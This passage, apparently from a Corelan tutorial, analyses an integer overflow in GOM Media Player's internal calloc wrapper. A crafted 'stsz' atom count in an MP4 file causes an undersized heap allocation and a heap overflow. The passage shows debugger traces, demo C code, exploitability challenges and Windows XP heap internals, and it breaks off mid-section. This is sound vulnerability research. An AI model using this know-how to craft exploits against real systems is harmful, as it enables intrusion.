corrupt the metadata (chunk header) of the following chunk, or application data stored in that adjacent chunk (that is of course with GFlags disabled).&#160; More on this later.<\/p>\n<p>However, before we attempt to do so, we still have not determined the actual cause of our exception.&#160; Why is it that we are allocating a region that is only 0x9C bytes, yet attempting to write significantly more?&#160; Our next step in the process will be to determine where our allocated size of 0x9C comes from.&#160; Is this some value specified in the file?<\/p>\n<p>There are in in fact several methods we could use to determine this.&#160; We could set a breakpoint on all heap allocations of size 0x9C.&#160; Once we\u2019ve identified the appropriate allocation, we can then look into the calling function in order to determine where the size is derived.<\/p>\n<p>Fortunately for us, with GFlags enabled, that is unnecessary.&#160; As I mentioned earlier, when page heap verification is enabled, a field within the page heap header contains a pointer to the stack trace of our allocated block.&#160; A pointer to this stack trace is listed in !mona\u2019s output under DPH_BLOCK_INFORMATION*** table (highlighted above).&#160; This allows us to see which functions were called just prior to our allocation.<\/p>\n<blockquote>\n<p>This information can also be obtained without !mona by using the !heap command while supplying an address within the heap chunk:<\/p>\n<p><strong>!heap \u2013p \u2013a 0x06209dc0<\/strong><\/p>\n<p>&#160;<\/p>\n<p>You can also retrieve this information using the \u2018dt\u2019 command and the address of the chunk\u2019s \u201cStartStamp\u201d.<\/p>\n<p><strong>dt _DPH_BLOCK_INFORMATION 0x06209da0.<\/strong><\/p>\n<\/blockquote>\n<p>With that said, let\u2019s use the \u2018dds\u2019 command to display the stack trace of the allocated chunk.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0:000&gt; dds 0x04e32364\n\n04e32364&#160; abcdaaaa\n04e32368&#160; 00000001\n04e3236c&#160; 00000004\n04e32370&#160; 00000001\n04e32374&#160; 0000009c\n04e32378&#160; 06101000\n04e3237c&#160; 04fbeef8\n04e32380&#160; 04e32384\n<strong><span style=\"color: #ffff00\">04e32384&#160; 7c94b244 ntdll!RtlAllocateHeapSlowly+0x44\n04e32388&#160; 7c919c0c ntdll!RtlAllocateHeap+0xe64\n04e3238c&#160; 0609c2af GSFU!DllGetClassObject+0x29f8f\n04e32390&#160; 06034941 GSFU!DllUnregisterServer+0x23661<\/span><\/strong><\/pre>\n<p>Here we can see two GOM functions (GSFU!DLLUnregisterServer and GSFU!DLLGetClassObject) are called prior to the allocation.&#160; First, let\u2019s take a quick glance at the function just prior to our call to ntdll!RtlAllocateHeap using IDA Pro.<\/p>\n<p><a href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/03\/RCAIntegerOverflow4.png\"><img loading=\"lazy\" decoding=\"async\" style=\"border-bottom: 0px; border-left: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px\" title=\"RCA-Integer-Overflow-4\" border=\"0\" alt=\"RCA-Integer-Overflow-4\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/03\/RCAIntegerOverflow4_thumb.png\" width=\"412\" height=\"142\" \/><\/a><\/p>\n<p>So as we would expect, here we can see a call to HeapAlloc.&#160; The value being provided as dwBytes would be 0x9C (our requested size).<\/p>\n<p>It\u2019s important to note here that IDA Pro, unlike WinDbg, has the ability to enumerate functions such as this.&#160; When it identifies a call to a known function, it will automatically apply comments in order to identify known variables supplied to that function.&#160; In the case of HeapAlloc (ntdll!RtlAllocateHeap), it will accept 3 arguments; dwBytes (size of the allocation), dwFlags, and hHeap (a pointer to the owning heap).&#160; More information on this function can be found at the MSDN page <a href=\"http:\/\/msdn.microsoft.com\/en-us\/library\/windows\/hardware\/ff552108%28v=vs.85%29.aspx\" target=\"_blank\" rel=\"noopener\">here<\/a>.<\/p>\n<p>Now in order to identify where the value of dwBytes is introduced, let\u2019s go ahead and take a quick look at the previous function (GSFU!DllUnregisterServer+0x23661) in our stack trace.<a href=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/03\/RCAIntegerOverflow5.png\"><img loading=\"lazy\" decoding=\"async\" style=\"border-bottom: 0px; border-left: 0px; display: block; float: none; margin-left: auto; border-top: 0px; margin-right: auto; border-right: 0px\" title=\"RCA-Integer-Overflow-5\" border=\"0\" alt=\"RCA-Integer-Overflow-5\" src=\"https:\/\/www.corelan.be\/wp-content\/uploads\/2013\/03\/RCAIntegerOverflow5_thumb.png\" width=\"413\" height=\"192\" \/><\/a><\/p>\n<p>Interesting.&#160; Here we can see that a call to the Calloc function is made, which in turn calls HeapAlloc.&#160; Before we continue, we need to have a short discussion about Calloc.<\/p>\n<p><a href=\"http:\/\/msdn.microsoft.com\/en-us\/library\/3f8w183e%28v=vs.71%29.aspx\" target=\"_blank\" rel=\"noopener\">Calloc<\/a> is a function used to allocate a contiguous block of memory when parsing an array.&#160; It accepts two arguments:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">size_t num ; Number of Objects\nsize_t size ; Size of Objects<\/pre>\n<p>It will allocate a region of memory using a size derived by multiplying both arguments (Number of Objects * Size of Objects).&#160; Then, by calling <a href=\"http:\/\/msdn.microsoft.com\/en-us\/library\/1fdeehz6%28v=vs.80%29.aspx\" target=\"_blank\" rel=\"noopener\">memset<\/a> it will zero initialize the array (not really important for the purpose of this article).&#160; What is important to note however, is that rather than using the CRT version of Calloc (msvcrt!calloc), an internal implementation is used.&#160; We can see this by following the call (the code is included in the GSFU module rather than making an external call to msvcrt)***.&#160; The importance of this will become clear very soon.<\/p>\n<blockquote>\n<p>You can easily follow any call in IDA Pro by simply clicking on the called function.&#160; In this case, clicking on \u201c_calloc\u201d will bring us to our inlined function.&#160; We can determine that the function has been inlined as GSFU.ax is our only loaded module.&#160; A jump to the msvcrt!calloc function would be displayed by an \u201cextrn\u201d, or external, data reference (DREF).<\/p>\n<\/blockquote>\n<p>Now, with a quick look at our two calling functions, let\u2019s go ahead and set a one time breakpoint on the first value being supplied to Calloc so that once it is hit, another breakpoint is applied to ntdll!RtlAllocateHeap.&#160; Then, we\u2019ll trace until ntdll!RtlAllocateHeap is hit.<\/p>\n<p>Let\u2019s go ahead and apply the following breakpoint, and then tell the process to continue running (g)<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0:000&gt; <strong><span style=\"color: #ffff00\">bp GSFU!DllUnregisterServer+0x23653 \/1 &quot;bp ntdll!RtlAllocateHeap; ta&quot;<\/span><\/strong>\nBp expression 'GSFU!DllUnregisterServer+0x23653 \/1' could not be resolved, adding deferred bp\n0:000&gt; <strong><span style=\"color: #ffff00\">g<\/span><\/strong>\n\neax=050d9d70 ebx=000000f8 ecx=050d9d70 <strong><span style=\"color: #ffff00\">edx=80000027<\/span><\/strong> esi=050d9c48 edi=050d9bb8\neip=06034934 esp=0012bdb0 ebp=050d9c38 iopl=0         nv up ei ng nz na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200286\nGSFU!DllUnregisterServer+0x23653\n<strong><span style=\"color: #ffff00\">06034933 52             push    edx ; Number of Elements<\/span><\/strong>\neax=050d9d70 ebx=000000f8 ecx=050d9d70 edx=80000027 esi=050d9c48 edi=050d9bb8\neip=06034934 esp=0012bdb0 ebp=050d9c38 iopl=0         nv up ei ng nz na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200286\nGSFU!DllUnregisterServer+0x23654:\n<strong><span style=\"color: #ffff00\">06034934 6a04            push    4 ; Size of Elements<\/span><\/strong>\neax=050d9d70 ebx=000000f8 ecx=050d9d70 edx=80000027 esi=050d9c48 edi=050d9bb8\neip=06034936 esp=0012bdac ebp=050d9c38 iopl=0         nv up ei ng nz na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200286\nGSFU!DllUnregisterServer+0x23656:\n06034936 83c604          add     esi,4\neax=050d9d70 ebx=000000f8 ecx=050d9d70 edx=80000027 esi=050d9c4c edi=050d9bb8\neip=06034939 esp=0012bdac ebp=050d9c38 iopl=0         nv up ei pl nz na po nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200202\nGSFU!DllUnregisterServer+0x23659:\n06034939 83eb0c          sub     ebx,0Ch\neax=050d9d70 ebx=000000ec ecx=050d9d70 edx=80000027 esi=050d9c4c edi=050d9bb8\neip=0603493c esp=0012bdac ebp=050d9c38 iopl=0         nv up ei pl nz ac po nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200212\nGSFU!DllUnregisterServer+0x2365c:\n<strong><span style=\"color: #ffff00\">0603493c e8e6780600      call    GSFU!DllGetClassObject+0x29f07 (0609c227) ; Calloc<\/span><\/strong>\n\n...truncated...\n\neax=0012bd94 ebx=000000ec ecx=050d9d70 <strong><span style=\"color: #ffff00\">edx=80000027 esi=00000004<\/span><\/strong> edi=050d9bb8\neip=05d5c236 esp=0012bd78 ebp=0012bda4 iopl=0         nv up ei pl nz na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206\nGSFU!DllGetClassObject+0x29f16:\n<strong><span style=\"color: #ffff00\">05d5c236 0faf750c        imul    esi,dword ptr [ebp+0Ch] ss:0023:0012bdb0=80000027<\/span><\/strong>\neax=0012bd94 ebx=000000ec ecx=050d9d70 <strong><span style=\"color: #ffff00\">edx=80000027 esi=0000009c<\/span><\/strong> edi=050d9bb8\neip=05d5c23a esp=0012bd78 ebp=0012bda4 iopl=0         ov up ei pl nz na pe cy\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200a07\nGSFU!DllGetClassObject+0x29f1a:\n05d5c23a 8975e0          mov     dword ptr [ebp-20h],esi ss:0023:0012bd84=0012d690\n\n...truncated...\n\neax=0012bd94 ebx=000000ec ecx=050d9d70 edx=80000027 <strong><span style=\"color: #ffff00\">esi=0000009c<\/span><\/strong> edi=00000000\neip=05d5c2a0 esp=0012bd78 ebp=0012bda4 iopl=0         nv up ei pl zr na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246\nGSFU!DllGetClassObject+0x29f80:\n<strong><span style=\"color: #ffff00\">05d5c2a0 56              push    esi ; Allocation Size<\/span><\/strong>\neax=0012bd94 ebx=000000ec ecx=050d9d70 edx=80000027 esi=0000009c edi=00000000\neip=05d5c2a1 esp=0012bd74 ebp=0012bda4 iopl=0         nv up ei pl zr na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246\nGSFU!DllGetClassObject+0x29f81:\n<strong><span style=\"color: #ffff00\">05d5c2a1 6a08            push    8 ; Flags<\/span><\/strong>\neax=0012bd94 ebx=000000ec ecx=050d9d70 edx=80000027 esi=0000009c edi=00000000\neip=05d5c2a3 esp=0012bd70 ebp=0012bda4 iopl=0         nv up ei pl zr na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246\nGSFU!DllGetClassObject+0x29f83:\n<strong><span style=\"color: #ffff00\">05d5c2a3 ff35a0cada05    push    dword ptr [GSFU!DllGetClassObject+0x7a780 (05dacaa0)] ds:0023:05dacaa0=05dc0000 ; HeapHandle<\/span><\/strong>\neax=0012bd94 ebx=000000ec ecx=050d9d70 edx=80000027 esi=0000009c edi=00000000\neip=05d5c2a9 esp=0012bd6c ebp=0012bda4 iopl=0         nv up ei pl zr na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246\nGSFU!DllGetClassObject+0x29f89:\n<strong><span style=\"color: #ffff00\">05d5c2a9 ff15ece0d605    call    dword ptr [GSFU!DllGetClassObject+0x3bdcc (05d6e0ec)] ds:0023:05d6e0ec={ntdll!RtlAllocateHeap (7c9100c4)}<\/span><\/strong>\nBreakpoint 1 hit\neax=0012bd94 ebx=000000ec ecx=050d9d70 edx=80000027 esi=0000009c edi=00000000\neip=7c9100c4 esp=0012bd68 ebp=0012bda4 iopl=0         nv up ei pl zr na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200246\nntdll!RtlAllocateHeap:\n7c9100c4 6804020000      push    204h<\/pre>\n<p>When analyzing operations like this, I typically find it best to start from the bottom up.&#160; Since we already know that our requested allocation size is 0x9C, we can begin at the point where the value 0x9C is provided as the dwBytes argument for ntdll!RtlAllocateHeap (GSFU!DllGetClassObject+0x29f80).<\/p>\n<p>The next thing we need to do is look for the instruction, prior to our push instruction, that either introduces the value 0x9C to esi or modifies it.&#160; Looking back a few lines, we see this instruction:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">eax=0012bd94 ebx=000000ec ecx=050d9d70 <strong><span style=\"color: #ffff00\">edx=80000027 esi=00000004<\/span><\/strong> edi=050d9bb8\neip=05d5c236 esp=0012bd78 ebp=0012bda4 iopl=0         nv up ei pl nz na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00200206\nGSFU!DllGetClassObject+0x29f16:\n<strong><span style=\"color: #ffff00\">05d5c236 0faf750c        imul    esi,dword ptr [ebp+0Ch] ss:0023:0012bdb0=80000027<\/span><\/strong><\/pre>\n<p>Interesting.&#160; It appears that we\u2019re performing signed multiplication of the value contained in esi (0x4) and our \u201cNumber of Entries\u201d element within the \u201cstsz\u201d atom (as pointed to by our stack entry located at 0x0012bdb0).&#160; This makes sense since Calloc, as we had previously discussed, will perform an allocation of data with a size of (Number of Elements * Size of Elements).&#160; However, there seems to be a problem with our math.&#160; When multiplying 0x80000027 * 0x4, our result should be 0x20000009C rather than 0x0000009C.&#160; The reason for this is that we\u2019re attempting to store a value larger than what our 32 bit register can hold.&#160; When doing so, an integer overflow occurs and our result is \u201cwrapped,\u201d causing only the 32 least significant bits to be stored in our register.<\/p>\n<p>With this, we can control the size of our allocations by manipulating the value contained within our \u201cNumber of Entries\u201d element.&#160; By allocating a chunk smaller than the data we intend to write, we can trigger a heap overflow.<\/p>\n<p>However, the root cause of our issue is not exactly as clear as it may seem.&#160; When we looked at our function in IDA Pro earlier, we determined that rather than using the CRT version of calloc (msvcrt!calloc), GOM used a wrapped version instead.&#160; Had the actual Calloc function been used, this vulnerability would not exist.&#160; To explain this, let\u2019s take a look at the code snippet below:<\/p>\n<p>&#160;<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">#include &lt;stdio.h&gt;\n#include &lt;malloc.h&gt;\n\nint main( void )\n{\n\n    int size = 0x4;             \/\/ Size of Element\n    int num = 0x80000027;\t\/\/ Number of Elements\n    int *buffer;\n    printf( &quot;Attempting to allocate a buffer with size: 0x20000009C&quot; );\n    buffer = (int *)calloc( size, num ); \/\/ Size of Element * Number of Elements\n    if( buffer != NULL )\n      printf( &quot;Allocated buffer with size (0x%X)\\n&quot;,  _msize(buffer) );\n    else\n      printf( &quot;Failed to allocate buffer.\\n&quot; );\n    free( buffer );\n}<\/pre>\n<p>The example above demonstrates a valid (albeit it, not the best) use of the Calloc.&#160; Here we\u2019re trying to allocate an array with a size of 0x200000009C (0x4 * 0x80000027).&#160; Let\u2019s see what would happen if we were to compile and run this code:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">Attempting to allocate a buffer with size: 0x200000009C\nFailed to allocate buffer.<\/pre>\n<p>Interesting.&#160; Calloc will fail to allocate a buffer due to checks intended in detect wrapped values.&#160; Under Windows XP SP3, this functionality can be seen in the following 2 instructions.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">eax=ffffffe0 ebx=00000000 ecx=00000004 edx=00000000 esi=016ef79c edi=016ef6ee\neip=77c2c0dd esp=0022ff1c ebp=0022ff48 iopl=0         nv up ei pl zr na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246\nmsvcrt!calloc+0x1a:\n77c2c0dd f7f1            div     eax,ecx\neax=3ffffff8 ebx=00000000 ecx=00000004 edx=00000000 esi=016ef79c edi=016ef6ee\neip=77c2c0df esp=0022ff1c ebp=0022ff48 iopl=0         nv up ei pl zr na pe nc\ncs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246\nmsvcrt!calloc+0x1c:\n77c2c0df 3b450c          cmp     eax,dword ptr [ebp+0Ch] ss:0023:0022ff54=80000027<\/pre>\n<p>Here we can see that the (near) maximum value for a 32 bit register (0xFFFFFFE0) is divided by our first argument supplied to Calloc.&#160; The result is then compared against the second value supplied to calloc.&#160; If the second value is larger, Calloc is able to determine that an integer overflow will occur and exit.<\/p>\n<p>However, the _Calloc function found in the GSFU module, unlike msvcrt!calloc, does not contain this check.&#160; Take a look at the following example:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">#include &lt;stdio.h&gt;\n#include &lt;malloc.h&gt;\n\nint _calloc( size_t num, size_t size )\n{\n    size_t total = num * size;  \/\/ Integer overflow occurs here\n    return (total);\n}\n\nint main( void )\n{\n    int size = 4;               \/\/ Size of Element\n    int num = 0x80000017;       \/\/ Number of Elements\n    int *buffer;\n    int chunk_size = _calloc( size, num );\n    printf (&quot;Attempting to allocate a buffer with size: 0x%X\\n&quot;, chunk_size);\n    buffer = (int *)malloc(chunk_size);\n    if( buffer != NULL )\n          printf( &quot;Allocated buffer with size (0x%X)\\n&quot;,  _msize(buffer) );\n    else\n      printf( &quot;Failed to allocate buffer.\\n&quot; );\n    free( buffer );\n}<\/pre>\n<p>Here we can see that instead of using the actual calloc function, we\u2019re multiplying our two values (\u201cElement Size\u201d and \u201cNumber of Elements\u201d) and storing the result in a variable called \u201cchunk_size\u201d.&#160; That value is then supplied as the size argument to malloc.<\/p>\n<p>Using the values from our mutated seed, let\u2019s take a look at our sample program\u2019s output:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">Attempting to allocate a buffer with size: 0x9C\nAllocated buffer with size (0x9C)<\/pre>\n<p>As we expected, the application readily accepts our wrapped value (0x9C) and provides this as the size argument being supplied to malloc.&#160; This in turn will cause our buffer to be undersized allowing our heap overflow to occur.<\/p>\n<p>&#160;<\/p>\n<p>&#160;<\/p>\n<h3><a name=\"DeterminingExploitability\"><\/a>Determining Exploitability<\/h3>\n<p>Excellent.&#160; So with that, we\u2019ve successfully identified the root cause of our exception.&#160; Let\u2019s summarize what we\u2019ve already discovered:<\/p>\n<ul>\n<li>We\u2019ve determined that by manipulating the \u201cNumber of Elements\u201d entry within the \u201cstsz\u201d atom, we can trigger an integer overflow.<\/li>\n<li>The result of this integer overflow (wrapped value) is then supplied to ntdll!RtlAllocateHeap causing an undersized buffer to be created.<\/li>\n<li>The contents of our \u201cSample Size Table\u201d is then written to our buffer.&#160; However, since the \u201cSample Size Table\u201d is larger, we\u2019re able to write beyond the boundary of our chunk (heap overflow).<\/li>\n<\/ul>\n<p>As with our previous vulnerability (KMPlayer), this level of control actually provides us with a number of ways to exploit this issue.<\/p>\n<p>&#160;<\/p>\n<h4><a name=\"Challenges\"><\/a>Challenges<\/h4>\n<p>Before we continue I\u2019d like to outline some of the challenges we will face when attempting to exploit this issue (if for no other reason than to garner some sympathy for my likely \u201cunreliable\u201d techniques).<\/p>\n<ul>\n<li>First, when dealing with heap issues, it is incredibly helpful to have some level of control over the heap layout.&#160; Allocations from the heap are dynamic and as such, the locations of these allocations will likely not be predictable.&#160; This is one reason why exploit writers will often leverage heap spraying in order to massage the heap into a deterministic state, allowing them to create predictable or semi-predictable locations in memory.&#160; Historically, this has been accomplished by calling the vulnerable application via it\u2019s web browser plug-in (ActiveX) when available, and then leveraging a scripting language (typically JavaScript) in order to perform a series of allocations of user controlled data.&#160; Recently, our very own corelanc0d3r developed <a href=\"https:\/\/www.corelan.be\/index.php\/2013\/02\/19\/deps-precise-heap-spray-on-firefox-and-ie10\/\" target=\"_blank\" rel=\"noopener\">DEPS<\/a>, which is a new method for performing a precise heap spray, allowing the exploit writer to point to an exact, reliable location in memory in order to access user supplied data.&#160; Unfortunately, GOM Media Player does not ship with a working version of it\u2019s ActiveX control allowing us to call it via a web browser (an ActiveX object is included in the release, however it appears to have been built for a significantly older version and is functionally broken for this release).&#160; With that said, we either need to find another way to create a deterministic heap state or be incredibly lucky.<\/li>\n<li>Next, most of the modules included with GOM Media Player are rebased.&#160; This means that we cannot reference any data from these modules directly as the addresses will likely change.&#160; The importance of this will be demonstrated in a bit.<\/li>\n<li>And finally, anyone who has attempted to develop exploits based on the QuickTime (MPEG) file format can tell you that the working with the file format is not pleasant.&#160; Allocations are typically done on a per atom (and sub-atom) basis.&#160; Attempts to manipulate allocations and frees in order to control the heap layout are either incredibly difficult, or at times, impossible.<\/li>\n<\/ul>\n<p><span style=\"color: #9c9c9c\">&#160;<\/span><\/p>\n<h4><a name=\"Prerequisites\"><\/a>Prerequisites<\/h4>\n<p>In this article we will cover a number of basic concepts of the Windows XP SP3 heap manager.&#160; Rather than attempting to poorly reiterate the incredible work done by <span style=\"text-decoration: underline\">actual researchers<\/span> in the past, I highly recommend that you read the following two documents as prerequisites prior to beginning this section.<\/p>\n<ul>\n<li><a href=\"http:\/\/www.blackhat.com\/presentations\/bh-usa-09\/MCDONALD\/BHUSA09-McDonald-WindowsHeap-PAPER.pdf\" target=\"_blank\" rel=\"noopener\">Practical Windows XP\/2003 Heap Exploitation by Chris Valasek and John McDonald<\/a><\/li>\n<li>Exploiting Freelist[0] on XPSP2 by Brett Moore<\/li>\n<\/ul>\n<p>I cannot stress enough the importance of the documents listed above.&#160; The intention of this article is to apply heap exploitation techniques discovered in the past to our GOM specific vulnerability.&#160; In order to do so, I must first reiterate a great deal of information that has already been explained (with greater depth and clarity) in the 2 documents listed above.&#160; This document is not intended to be a definitive guide and should not be used as one.<\/p>\n<p>&#160;<\/p>\n<h4><a name=\"HeapBasics\"><\/a>Heap Basics<\/h4>\n<p>Each application by default is provided with a singular heap, known as the default or process heap, to perform memory management functions.&#160; As application complexity increases and more requests are handled by the heap manager, an application can greatly improve performance by creating additional, private heaps.&#160; This is done by calling the <a href=\"https:\/\/web.archive.org\/web\/20170801035925\/https:\/\/msdn.microsoft.com\/en-us\/library\/windows\/desktop\/aa366599(v=vs.85).aspx\" target=\"_blank\" rel=\"noopener\">HeapCreate<\/a> function.&#160; Under WinDbg, you can enumerate a list of all active heaps by using the !heap extension.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0:000&gt; !heap\nIndex   Address  Name      Debugging options enabled\n  1:   00250000                \n  2:   00360000                \n  3:   00370000<\/pre>\n<p>Each heap contains a very important structure known as the heap base.&#160; This structure maintains information about the heap and it\u2019s capabilities, as well as data regarding additional, referenced structures.&#160; Under WinDbg, you can enumerate the heap base structure by using the _HEAP variable name.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">0:000&gt; dt _HEAP 00250000                \nntdll!_HEAP\n   +0x000 Entry            : _HEAP_ENTRY\n   +0x008 Signature        : 0xeeffeeff\n   +0x00c Flags            : 2\n   +0x010 ForceFlags       : 0\n   +0x014 VirtualMemoryThreshold : 0xfe00\n   +0x018 SegmentReserve   : 0x100000\n   +0x01c SegmentCommit    : 0x2000\n   +0x020 DeCommitFreeBlockThreshold : 0x200\n   +0x024 DeCommitTotalFreeThreshold : 0x2000\n   +0x028 TotalFreeSize    : 0x86\n   +0x02c MaximumAllocationSize : 0x7ffdefff\n   +0x030 ProcessHeapsListIndex : 1\n   +0x032 HeaderValidateLength : 0x608\n   +0x034 HeaderValidateCopy : (null) \n   +0x038 NextAvailableTagIndex : 0\n   +0x03a MaximumTagIndex  : 0\n   +0x03c TagEntries       : (null) \n   +0x040 UCRSegments      : (null) \n   +0x044 UnusedUnCommittedRanges : 0x00250598 _HEAP_UNCOMMMTTED_RANGE\n   +0x048 AlignRound       : 0xf\n   +0x04c AlignMask        : 0xfffffff8\n   +0x050 VirtualAllocdBlocks : _LIST_ENTRY [ 0x250050 - 0x250050 ]\n   +0x058 Segments         : [64] 0x00250640 _HEAP_SEGMENT\n   +0x158 u                : __unnamed\n   +0x168 u2               : __unnamed\n   +0x16a AllocatorBackTraceIndex : 0\n   +0x16c NonDedicatedListLength : 1\n   +0x170 LargeBlocksIndex : (null) \n   +0x174 PseudoTagEntries : (null) \n   +0x178 FreeLists        : [128] _LIST_ENTRY [ 0x259bd8 - 0x259bd8 ]\n   +0x578 LockVariable     : 0x00250608 _HEAP_LOCK\n   +0x57c CommitRoutine    : (null) \n   +0x580 FrontEndHeap     : 0x00250688 Void\n   +0x584 FrontHeapLockCount : 0\n   +0x586 FrontEndHeapType : 0x1 ''\n   +0x587 LastSegmentIndex : 0 ''<\/pre>\n<p>Using either the default heap or private heaps, an application can then request (allocate) a region of memory to be used by the application.&#160; This can be performed by using several commands including but not limited to <a href=\"https:\/\/web.archive.org\/web\/20170831112953\/https:\/\/msdn.microsoft.com\/en-us\/library\/windows\/desktop\/aa366597(v=vs.85).aspx\" target=\"_blank\" rel=\"noopener\">HeapAlloc<\/a>, <a href=\"http:\/\/msdn.microsoft.com\/en-us\/library\/6ewkz86d%28v=vs.80%29.aspx\" target=\"_blank\" rel=\"noopener\">malloc<\/a>, and <a href=\"http:\/\/msdn.microsoft.com\/en-us\/library\/kewsb8ba%28v=vs.71%29.aspx\" target=\"_blank\" rel=\"noopener\">new<\/a>.&#160; Although the syntax of each command differs, the result is generally the same with a call being made to the <a href=\"http:\/\/msdn.microsoft.com\/en-us\/library\/windows\/hardware\/ff552108%28v=vs.85%29.aspx\" target=\"_blank\" rel=\"noopener\">ntdll!RtlAllocateHeap<\/a> function in order to directly reserve our requested region of memory.<\/p>\n<p>Now as the heap manager receives these requests, it will need to identify a suitable block to return back to the user.&#160; In order to identify which block to return, the heap manager will first check the front-end heap manager.&#160; If the front end heap manager can not service this request, the back end heap manager will be checked.&#160; In most cases, the back-end heap manager will be able to service the request*.<\/p>\n<blockquote>\n<p>In rare cases where both the front-end and back-end managers are unable to service application requests, the heap will reserve the memory directly from an associated UCR segment.&#160; More information can be found on this structure in Practical Windows XP\/2003 Exploitation by McDonald and Valasek.<\/p>\n<\/blockquote>\n<p>Now in it\u2019s most basic form, the front-end and back-end heap managers can simply be thought of as structures which maintain a list of pointers to free blocks (free blocks are simply regions of memory assigned to a particular heap that are ready for allocation).&#160; Under Windows XP, the front-end heap manager can exist (or not exist) in 3 forms: none, Lookaside Lists (LAL), or under rare cases the Low Fragmentation Heap (LFH)*.&#160; For the purpose of this article, we will only be discussing the Lookaside Lists (LAL).<\/p>\n<blockquote>\n<p>Beginning with Windows Vista and beyond, the Low Fragmentation Heap (LFH) is the default front-end heap manager.<\/p>\n<\/blockquote>\n<p>&#160;<\/p>\n<h5>Lookaside Lists<\/h5>\n<p>Now as I mentioned, when an allocation request is issued, the heap manager will first check the front-end heap manager.&#160; Under Windows XP, this will&#160; (in nearly all cases) be the structure known as the Lookaside List (LAL).&#160; The LAL is used to service memory requests of 1016 bytes or less (plus 8 bytes for the heap entry header).&#160; Requests for memory regions larger than 1016 bytes will be forwarded to the back-end heap manager.<\/p>\n<p>A pointer to this structure is located at offset +0x580 from the _HEAP base.<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">   +0x580 FrontEndHeap     : 0x00250688 Void<\/pre>\n<p>Now the top level hierarchy of the LAL structure contains 127 lists.&#160; Each list is associated with a LAL entry for that particular size.&#160; This creates a logical layout similar to the following:<\/p>\n<pre style=\"border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #191919; padding-left: 5px; width: 97%; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px\">Lookaside[0] # 